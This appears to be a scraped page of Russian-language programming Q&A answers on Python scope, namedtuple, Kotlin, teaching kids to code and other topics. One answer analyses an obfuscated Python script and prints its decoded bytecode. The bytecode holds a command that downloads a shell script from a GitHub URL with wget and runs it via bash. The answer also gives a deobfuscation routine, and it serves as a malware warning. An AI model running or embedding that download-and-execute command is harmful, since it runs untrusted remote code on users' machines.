• Почему отказались от оператора GoTo в высокоуровневых языках?

    saboteur_kiev
    @saboteur_kiev
    software engineer
    Никакие комьютеры не отказались от goto.
    Кроме того, это не функция, а оператор.

    Но если писать длинный код активно используя goto, в нем будет крайне сложно разобраться.
    Поэтому в некоторых языках программирования его может и не быть. Но на архитектурном уровне и низкоуровневом ассемблере, он естественно есть.
    Ответ написан
    Комментировать
  • Что означает запись в скобках сразу после инициализации?

    Maksim_64
    @Maksim_64
    Data Analyst
    Действительно, все очень просто.
    namedtuple - это функция которая возвращает объект класса namedtuple, который является подсклассом встроенного tuple. Где первый параметр, это имя типа данных. Второй это параметры.
    from collections import namedtuple
    Point = namedtuple("Point", ['x','y'])
    point = Point(2,4)
    print(point)

    Теперь представим есть некий словарь и просто перепишем в одну строчку, с распаковкой параметров '*'.
    d = {
        'x':2,
        'y':4
    }
    
    print(namedtuple('Point',d.keys())(*d.values()))

    d.keys() это коллекция ключей строк, как в пошаговом примере, *d.values() это распакованная последовательность значений.
    Ответ написан
    Комментировать
  • Как инициализировать переменную раньше функции в Python?

    Maksim_64
    @Maksim_64
    Data Analyst
    Что то ты с кодом ты напутал. Список может быть изменен из функции. Внутри функции python работает следующим образом.
    1. Первым делом python смотрит есть ли ключевое слово global

    2. Вторым есть ли ключевое слово nonlocal

    3. Третьим в параметрах, если там имя есть то переменная становится локальной.

    4. Если переменная упоминалась (но не было определена) то python смотрит на нелокальную область видимости.

    5. Если переменная упоминалась (но не было определена) и не найдено в нелокальной области видимости то смотрит в модуле

    6. Если и там не нашел то в встроенных пример max,min и т.д.

    a = 1
    b = 2
    c = 3
    
    def func():
        print(a,b,c)
    
    if __name__ == "__main__":
        func()
    Работает, как ожидается, а теперь маленькое изменение
    a = 1
    b = 2
    c = 3
    
    def func():
        print(a,b,c)
        c = 100
        print(c)
    
    if __name__ == "__main__":
        func()
    И все ошибка даже print(a,b,c) не выполнится. Потому что с находится в локальной области видимости функции python ее находит и также он находит ее упоминание (print(a,b,c)) до ее определения.

    def func():
        global c
        print(a,b,c)
        c = 100
        print(c)
    
    if __name__ == "__main__":
        func()


    Вся это проблема актуальна только для НЕ мутабельных типов например
    a = [0]
    b = [0]
    c = [0]
    
    def func():
        print(a,b,c)
        c.append(100) 
        print(c)
    
    if __name__ == "__main__":
        func()

    Все работает как и ожидается. Ну и пару слов об использовании global. Я персонально не сторонник утверждения никогда не используй global Но безусловно данная конструкция актуальна для не локальной области видимости то есть вот так.
    def func():
        total = 0
        def inner():
            nonlocal total
            total +=1
            return total
        return inner
    
    
    if __name__ == "__main__":
        add = func()
        print(add())
        print(add())
        print(add())
    Если убрать ключевое слово nonlocal то мы получим ошибку.
    Ответ написан
    Комментировать
  • Как инициализировать переменную раньше функции в Python?

    AshBlade
    @AshBlade
    Просто хочу быть счастливым
    Не используй глобальные переменные - передавай как аргумент
    Ответ написан
    5 комментариев
  • Какой SSL-сертификат лучше использовать для стэйджинга?

    Let`s Encrypt , очевидно. Я вообще не понимаю, кому сейчас нужны покупные сертификаты, кроме банков и подобных структур, где наличие покупного сертификата вписано в регулятивные правила отрасли.
    Ответ написан
    Комментировать
  • Информационная безопасность в облачных сервисах?

    CityCat4
    @CityCat4 Куратор тега Информационная безопасность
    Внимание! Изменился адрес почты!
    преимущество использования облачных сервисов с точки зрения ИБ?

    Никаких. Как только информация покинула корпоративный периметр - ты перестал ее контролировать, следовательно твое влияние на ее защиту - нуль.
    Ты не можешь гарантировать что то, что ты видишь на экране в личном кабинете etc. - это то же самое, что происходит с информацией на самом деле. Тебе могут показать, что она супер-пупер защищена и зашифрована всеми способами, а на самом деле запросто может оказаться что к ней имеет доступ любой сотрудник этого самого сервиса. Или даже сервис ее просто удалил из неких соображений.

    Вот например

    В облаке можно хранить:
    - рекламу, ролики по продвижению продукции
    - материалы, утеря которых малоценна
    Ответ написан
    7 комментариев
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Какие знаниями java нужно обладать чтобы переходить на kotlin?

    402d
    @402d
    начинал с бейсика на УКНЦ в 1988
    Знаю яву и не фига не понимаю в котлин коде.
    Смотришь в код и ничего знакомого
    data class CoverFront
    constructor(
        /** May contain any keyword from [CoverType]. */
        var coverType: String? = null,
        /** May contain any keyword from [Media] or a name. */
        var media: KeywordOrName? = null,
        var mediaCol: MediaCol? = null,
    ) : AttributeCollection {
    
        /** Construct an empty [CoverFront]. */
        constructor() : this(null)
    
        /** Produce an attribute list from members. */
        override val attributes: List<Attribute<*>>
            get() = listOfNotNull(
                coverType?.let { CoverFront.coverType.of(it) },
                media?.let { CoverFront.media.of(it) },
                mediaCol?.let { CoverFront.mediaCol.of(it) },
            )
    
        /** Defines types for each member of [CoverFront]. */
        companion object : AttributeCollection.Converter<CoverFront> {
            override fun convert(attributes: List<Attribute<*>>): CoverFront =
                CoverFront(
                    extractOne(attributes, coverType),
                    extractOne(attributes, media),
                    extractOne(attributes, mediaCol),
                )
            override val cls = CoverFront::class.java
            @Deprecated("Remove this symbol")
            @JvmField val Types = this
            @JvmField val coverType = KeywordType("cover-type")
            @JvmField val media = KeywordOrNameType("media")
            @JvmField val mediaCol = AttributeCollection.Type("media-col", MediaCol)
        }
        override fun toString() = "CoverFront(${attributes.joinToString()})"
    }

    Например, что тут похоже на яву ?
    Только дополнительные костыли для того, чтобы этот класс можно было использовать в java части приложения.

    Знание java & kotlin нужно для написания универсального кода. А так только мешает. Синтаксический сахар разный. Общих моментов меньше чем того что различается.
    Ответ написан
    4 комментария
  • Как передавать ArrayList между фрагментами?

    402d
    @402d
    начинал с бейсика на УКНЦ в 1988
    Сделай сиглетон. Если для работы нужен context, то инициализируй через статический метод в классе Application.
    Ну а вместо Map используй Mutable или просто LiveData.

    Можешь даже класс реализуещий это назвать MyModel :)
    Ответ написан
    1 комментарий
  • Как гуглу удаётся работать так быстро? Какая у него память?

    @Everything_is_bad
    Считаю: 2,050,000 * примерно 512 байт на результат = примерно 1 ГБ = 8Гбит.
    а с чего ты так решил считать? Почему тут не учитывается параллельность, а так же, то что для "About 2,050,000 results (0.29 seconds)" не нужно точных вычислений, достаточно аппроксимации
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    @Drno
    Если идёт нормально - почему бы и нет. универсальность жеж...
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    @ewgenc
    Мой младший на Lua “кодит” в Майнкрафте с помощью мода ComputerCraft. Все очень примитивно, но сама игровая форма ему нравится.
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    saboteur_kiev
    @saboteur_kiev Куратор тега IT-образование
    software engineer
    С одной стороны можно и Питон.
    Но на пальцах поясните что такое байты, что такое память, как в памяти хранятся разные типы данных.

    Эх. В свое время было легко пояснять на примере спектрума с его линейной адресацией и прямым доступом к экранной памяти, где можно было биты "посмотреть"
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    @dmshar
    Да, вы сами себе придумали проблему.
    Во-первых, а какая альтернатива сегодня? Не с С++ же начинать в 11 лет. С другой стороны, есть, конечно Scratch - но как по мне, это просто тупиковая ветвь.
    Во-вторых, есть известная книга Д. Бриггс "Python для детей. Самоучитель по программированию" где такие методологические вопросы уже решены.
    В-третьих, я так и не понял, а чем отсутствие строгой типизации мешает освоению программирования в 11 (!!!) лет? Вы действительно полагаете, что в таком возрасте ребенок будет способен писать приложения, в которых это играет ключевую роль?
    Так в Python и указателей нет. И что? Зато там есть много фишек, которые и упрощают сам процесс понимания, что ребенок делает, и позволяют на готовый результат посмотреть гораздо быстрее, чем при программировании на любом другом языке. А для детей - это самое то, что нужно.
    Но вы, безусловно, молодец, что приобщаете ребенка с измальства. Главное - делать это так, что-бы ему постоянно самому было интересно.
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    AshBlade
    @AshBlade
    Просто хочу быть счастливым
    Зависит от целей:
    - Если нужно просто познакомить с программированием - алгоритмы, логика, - то паскаль сойдет
    - Если хотите дать более фундаментальные знания - то тут уже C/C++ (щадящие версии)

    Я бы не начинал с питона:
    - Сложный переход на другие ЯП
    - Слабое понимание работы компьютеры (типы и т.д.)
    - Непонятные сообщения об ошибках
    Ответ написан
    1 комментарий
  • Как восстановить Telegram?

    @Drno
    Нужен доступ к номеру телефона… так что - никак
    Ответ написан
    3 комментария
  • Как восстановить Telegram?

    CityCat4
    @CityCat4
    Внимание! Изменился адрес почты!
    Никак.

    Когда Вы регились с виртуала, Вы осознавали риски, что в случае необходимости восстановления данной учетки Вы не сможете это сделать, так как номер одноразовый. Ну вот, этот случай наступил :)
    Ответ написан
    Комментировать
  • Как запретить пользователям из России обращаться к определенным функциям сервера?

    CityCat4
    @CityCat4
    Внимание! Изменился адрес почты!

    Каким способом можно реализовать эту систему

    Спросить. Честно, топорно. Тебе соврали - ну, да, может быть, но косяк не твой. Ты вынужден верить на слово, так как все сервисы геолокации могут показывать неактуальные данные, и кроме того, есть VPN, которые сейчас вовсю применяют как для обхода ограничений РКН, так и для обхода ограничений "IP из РФ/РБ".
    Поэтому единственный способ - спросить. (Это примерно то же самое, что с ответом на вопрос "Уже есть 18?". Никто пока не может проверить, правда ли это и все вынуждены полагаться на слово)

    P.S. Почему я так выделил слово пока? Потому что время, когда тырнет будет по паспорту (госуслугам, ЕГА, черта лысого) и без того было не за горами, а бездумная VPN-изация его тащит за собой, как сержант-старослужащий первогодка на марш-броске - цепко и безжалостно.
    Ответ написан
    Комментировать
  • Как увеличить фото без потери качества?

    @asmelnik
    Если это пиксельное изображение.
    То именно без потери качества и произвольную никак.
    Иначе фотоаппараты и камеры так и остались бы на пару мегапикселей, а архиваторы упаковывали картинки в файлы почти нулевого размера.

    Можно скорее всего фильтрами немного улучшить визуально картинку.
    Ответ написан
    6 комментариев
  • Как сгенерировать изображения с большим количеством текста?

    Поиск: how to generate word cloud
    Ответ написан
    Комментировать